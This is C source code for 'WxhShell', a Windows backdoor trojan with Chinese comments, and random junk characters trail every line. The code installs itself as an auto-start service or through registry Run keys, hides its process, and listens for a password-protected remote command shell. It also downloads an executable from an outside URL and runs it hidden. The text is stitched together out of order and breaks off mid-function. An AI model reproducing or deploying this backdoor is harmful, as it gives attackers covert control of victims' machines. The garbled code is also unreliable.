DWORD AffinityMask; &9fQW?Czs
DWORD BasePriority; ?_i>Kx
ULONG UniqueProcessId; V~ORb1
ULONG InheritedFromUniqueProcessId; mfN'+`r
} PROCESS_BASIC_INFORMATION; 5af0- hj
pCA`OP);=
PROCNTQSIP NtQueryInformationProcess; IEMa/[n/
-v.\W y~\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &i(Ip'r
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KE@+I.x
]B?M3`'>
HANDLE hProcess; Hd\V?#H
PROCESS_BASIC_INFORMATION pbi; V`1{*PrI@L
U/^#nU.,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7XK0vKmW3
if(NULL == hInst ) return 0; 8hD[z}
e-`.Ht
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #$x,PeG
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S`U8\KTi
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o3/o2[s
d]`6N
if (!NtQueryInformationProcess) return 0; .JXEw%I@
hHU=lnO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^2nrA pF
if(!hProcess) return 0; 9`*Eeb>
H8FvI"J
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w9G|)UDib
k#Sr; "
CloseHandle(hProcess); &hI!mo
IBo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <D ~hhGb
if(hProcess==NULL) return 0; T\uIXL?3
W.MZN4=
HMODULE hMod; _huJ*W7lR
char procName[255]; wW1VOj=6V"
unsigned long cbNeeded; {zvaZY|K"
m^}|LB:5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YHQ]]#'
3HpqMz
CloseHandle(hProcess); M7cD!s@'I
8qg%>ZU4d
if(strstr(procName,"services")) return 1; // 以服务启动 C$TU
TS
ou <3}g
return 0; // 注册表启动 XGR2L
DR
} s@ @Km1w
b>OB}Is
// 主模块 w\o6G7
int StartWxhshell(LPSTR lpCmdLine) W~;Jsd=f
{ !6%?VJB|b
SOCKET wsl; LSou]{R
BOOL val=TRUE; <VKJ+
int port=0; P'lnS&yA
struct sockaddr_in door; t-iXY0%&
b;UBvwY_
if(wscfg.ws_autoins) Install(); Fm0d0j
$G9LaD#;M
port=atoi(lpCmdLine); AAlc %d/9
x2"1,1%H7
if(port<=0) port=wscfg.ws_port; BZ?3=S1*
CF{b Yf^%
WSADATA data; eV|N@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cZNcplt8
(4cdkL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I]v2-rB&-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l5{60$g
door.sin_family = AF_INET; i *.Y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m7'<k1#"Y
door.sin_port = htons(port); BqNeY<zB*
sX%n` L
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FpRYffT 9u
closesocket(wsl); djOjd,
return 1; =#V^t$
} #y:D{%Wp
xR0T'@q
if(listen(wsl,2) == INVALID_SOCKET) { Snf_{A<
closesocket(wsl); %;k Hnl
return 1; 5
3%>)gk:
} qg
oB}n%
Wxhshell(wsl); CLrX!JV>
WSACleanup(); Ds">eNq
p@^G)x
return 0; RhE~-b[X
{=ox1+d
} U|}
?{x
VV$t*9w
// 以NT服务方式启动 M,]|L c h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k."p&
{ \~
D(ww
DWORD status = 0; d&j
DWORD specificError = 0xfffffff; ukSv70Ev
Jp=fLo 9
serviceStatus.dwServiceType = SERVICE_WIN32; F}nwTras
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'ZuS
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y!#-[K:
serviceStatus.dwWin32ExitCode = 0; rL{R=0
serviceStatus.dwServiceSpecificExitCode = 0; N y'\Q"Y]
serviceStatus.dwCheckPoint = 0; .T'@P7Hdx
serviceStatus.dwWaitHint = 0; CQ!pt@|d
3PNdc}h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YZg#H)w%
if (hServiceStatusHandle==0) return; t WI-
!RI _Uph
status = GetLastError(); |3'
if (status!=NO_ERROR) 7Z< ~{eD,
{ FDz`U:8
serviceStatus.dwCurrentState = SERVICE_STOPPED; HT;^u"a~
serviceStatus.dwCheckPoint = 0; ljKIxSvCFp
serviceStatus.dwWaitHint = 0; +X=*>^G(-
serviceStatus.dwWin32ExitCode = status; Y,}_LS$f
serviceStatus.dwServiceSpecificExitCode = specificError; Jl/w P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WoEK #,I;
return; KxkBP/`3Q
} yq%5h[M
u.GnXuax
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1r;zA<<%R
serviceStatus.dwCheckPoint = 0; *&NP?-E
serviceStatus.dwWaitHint = 0; w 9dkJo
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Kb3VNgwvm
} UT<e/
5RP kAC
// 处理NT服务事件,比如:启动、停止 [8iY0m_Qe
VOID WINAPI NTServiceHandler(DWORD fdwControl) #CC5+
{ k;l3^kTy
switch(fdwControl) %j7b0pb
{ vY4sU@+V
case SERVICE_CONTROL_STOP: AQ~ xjU
serviceStatus.dwWin32ExitCode = 0; N6Mr#A-{
serviceStatus.dwCurrentState = SERVICE_STOPPED; G*CPj^O
serviceStatus.dwCheckPoint = 0; W7S~~
serviceStatus.dwWaitHint = 0; FnO@\{M"A
{ UkL1h7}a\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YZol4q|ic
} y}?|+/ dN
return; <`}P
case SERVICE_CONTROL_PAUSE: Pxlc RF
serviceStatus.dwCurrentState = SERVICE_PAUSED; %O"8|ZG9{
break; mO>L]<O
case SERVICE_CONTROL_CONTINUE: Pyo|Sgk
serviceStatus.dwCurrentState = SERVICE_RUNNING; b:dN )m
break; I!sT=w8V
case SERVICE_CONTROL_INTERROGATE: &$MC!iMh
break; n>Ff tVZNJ
}; k#].nQG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b,xZY1a
} Xh9QfT ,
w*qj0:i5as
// 标准应用程序主函数 =XP[3~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kBo:)Vej4
{ ?KC(WaGJQ
x)PW4{3qR
// 获取操作系统版本 \9?[|m
z
OsIsNt=GetOsVer(); 5n@YNaoIb
GetModuleFileName(NULL,ExeFile,MAX_PATH); UqP{Cyy{
]\(8d[4
// 从命令行安装 s4|\cY`b-
if(strpbrk(lpCmdLine,"iI")) Install(); 7r:h_r-
'~[8>Q>
// 下载执行文件 ,Bk5(e
if(wscfg.ws_downexe) { ]~TsmR[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XNz+a|cF
WinExec(wscfg.ws_filenam,SW_HIDE); @>2pY_
} +9_Y0<C
&hOz(825r
if(!OsIsNt) { -%asHDQ{
// 如果时win9x,隐藏进程并且设置为注册表启动 p*
>z:=
HideProc(); }3(!kW
StartWxhshell(lpCmdLine); 1JJsYX
} owAO&"C
else }p)K6!J0
if(StartFromService()) y*
+y&
// 以服务方式启动 Y}?8
StartServiceCtrlDispatcher(DispatchTable); ula-o)S
else ')m!48
// 普通方式启动 jP+yN|
StartWxhshell(lpCmdLine); /v{+V/'+
qN!oN*
return 0; 9zp!lw~;+
} &,nv+>D
1QoW/X'>.
B8@mL-Z-;
i^s Vy
=========================================== S6~y!J6Ok4
|2(q9j
;ArwEzo(
CFtQPTw
$RD~,<oEm
?cV,lak
" zm_8a!.
o4Q?K.9c
#include <stdio.h> QYH-"-)
#include <string.h> \nl(tU#j
#include <windows.h> SI7rTJ]/
#include <winsock2.h> @^,q/%;
#include <winsvc.h> >ahDc!Jyu
#include <urlmon.h> Y
;Ym=n'
Xaq;d'
#pragma comment (lib, "Ws2_32.lib") \]X.f&u
#pragma comment (lib, "urlmon.lib") l]*RiK2AC
7)Toj
#define MAX_USER 100 // 最大客户端连接数 QS#@xhH
#define BUF_SOCK 200 // sock buffer eM7@!CdA9q
#define KEY_BUFF 255 // 输入 buffer f|d~=\0y
\""^'pP@
#define REBOOT 0 // 重启 Bx?3E^!T
#define SHUTDOWN 1 // 关机 @v-^j
,.,8-In^
#define DEF_PORT 5000 // 监听端口 iJs~NLCgVu
{:X'9NEE
#define REG_LEN 16 // 注册表键长度 vX+oZj
#define SVC_LEN 80 // NT服务名长度 ^FVdA1~/
i)i>Ulj*i
// 从dll定义API y{<e4{
!
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !<[+u
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xoj"rR9|
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h]4xS?6O
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X~{6$J|]#i
",#.?vT`
// wxhshell配置信息 bvox7V>
struct WSCFG { "HOZ2_(o
int ws_port; // 监听端口 Sn=6[RQ>P
char ws_passstr[REG_LEN]; // 口令 3smkY
int ws_autoins; // 安装标记, 1=yes 0=no \:vF FK4a
char ws_regname[REG_LEN]; // 注册表键名 WogUILB
char ws_svcname[REG_LEN]; // 服务名 c{q+h V=
char ws_svcdisp[SVC_LEN]; // 服务显示名 .3
EZk86
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;n&95t1$
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8_Oeui(i
int ws_downexe; // 下载执行标记, 1=yes 0=no "j>X^vn
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {R1]tGOf
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rOJ>lPs
Y=S0|!u
}; ]H1mj#EWU
>AJ/!{jD*
// default Wxhshell configuration u~uzKG
struct WSCFG wscfg={DEF_PORT, V?mP7
"xuhuanlingzhe", +=tdgw/
1, Wf~^,]9N
"Wxhshell", w-|Rb~XT
h
"Wxhshell", nrEI0E9
"WxhShell Service", _>gz&
"Wrsky Windows CmdShell Service", ]ch=@IV
"Please Input Your Password: ", C,| &
1, XC<fNK
"http://www.wrsky.com/wxhshell.exe", >"W^|2R
"Wxhshell.exe" /}:{(Go
}; P{Nvt/%
>y%H2][
// 消息定义模块 g~U(w
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {yn,u)@r9S
char *msg_ws_prompt="\n\r? for help\n\r#>"; , ZsZzZ#
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yF)o_OA[uR
char *msg_ws_ext="\n\rExit."; +gl\l?>sr
char *msg_ws_end="\n\rQuit."; FXCBX:LnvU
char *msg_ws_boot="\n\rReboot..."; Wt.DL mO
char *msg_ws_poff="\n\rShutdown..."; $|$@?H>K
char *msg_ws_down="\n\rSave to "; J8'"vc} =
z"@^'{.l
char *msg_ws_err="\n\rErr!"; 4.9qB
char *msg_ws_ok="\n\rOK!"; d4y#n=HnnV
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char ExeFile[MAX_PATH]; /T _M't@j
int nUser = 0; VG5+u,U6>
HANDLE handles[MAX_USER]; ;,{_=n>
int OsIsNt; E$"NOR
@@Ib^sB%
SERVICE_STATUS serviceStatus; ?9 huuJs7
SERVICE_STATUS_HANDLE hServiceStatusHandle; (4H\ho8+mp
SioeIXU
// 函数声明 h.<f%&)F
int Install(void); d`sZ"8}j
int Uninstall(void); vC]X>P5 Px
int DownloadFile(char *sURL, SOCKET wsh); "Q: Gd6?h;
int Boot(int flag); x^s,<G
void HideProc(void); f;E#CjlTL
int GetOsVer(void); +d,
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int Wxhshell(SOCKET wsl);
,,H5zmgA
void TalkWithClient(void *cs); VDxm|7
int CmdShell(SOCKET sock); k1Y\g'1
int StartFromService(void); M;A_'h?Z
int StartWxhshell(LPSTR lpCmdLine); 9<mMU:
Wn<?_}sa|z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A7 RI&g
v5
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *HrEh;3^J
_c>iux;
// 数据结构和表定义 BM :x`JY
SERVICE_TABLE_ENTRY DispatchTable[] = N* gJu
{ /k.0gYD
{wscfg.ws_svcname, NTServiceMain}, E'6>3n
{NULL, NULL} "L>'X22ed
}; N{Sp-J>
;4O[/;i
// 自我安装 OVLVsNg
int Install(void) HLyAzB~r
{ 8xy8/UBIk0
char svExeFile[MAX_PATH]; fJFNS
y
HKEY key; 1/$PxQ
strcpy(svExeFile,ExeFile); -2hirA<^
c>bns/f
// 如果是win9x系统,修改注册表设为自启动 b9H(w%7ucU
if(!OsIsNt) { :82T!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y##h(y
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .}__XWK5
RegCloseKey(key); CW1l;uwtU
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9p_?t'&>q
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @a8lF$<
RegCloseKey(key); l b(
return 0; 0|e[o"
} bQ*yXJ^8
} 4\z@Evm
} (]@S<0
else { *7Vb([x4;
BA\aVhmx
// 如果是NT以上系统,安装为系统服务 t<rIg1
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F5?S8=i
if (schSCManager!=0) YZ~MByu
{ 6A"$9sj6
SC_HANDLE schService = CreateService oU=vl!\J
( Y"FV#<9@7E
schSCManager, /pMOinuO
wscfg.ws_svcname, $N?8[
wscfg.ws_svcdisp, /k'7j*t Z
SERVICE_ALL_ACCESS, )+
<w>pc
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H(y`[B,}*
SERVICE_AUTO_START, \%7*@&
SERVICE_ERROR_NORMAL, /
svExeFile, [CQR
NULL, SaPE 1^}
NULL, SVU>q:ab
NULL, joY7Vk!<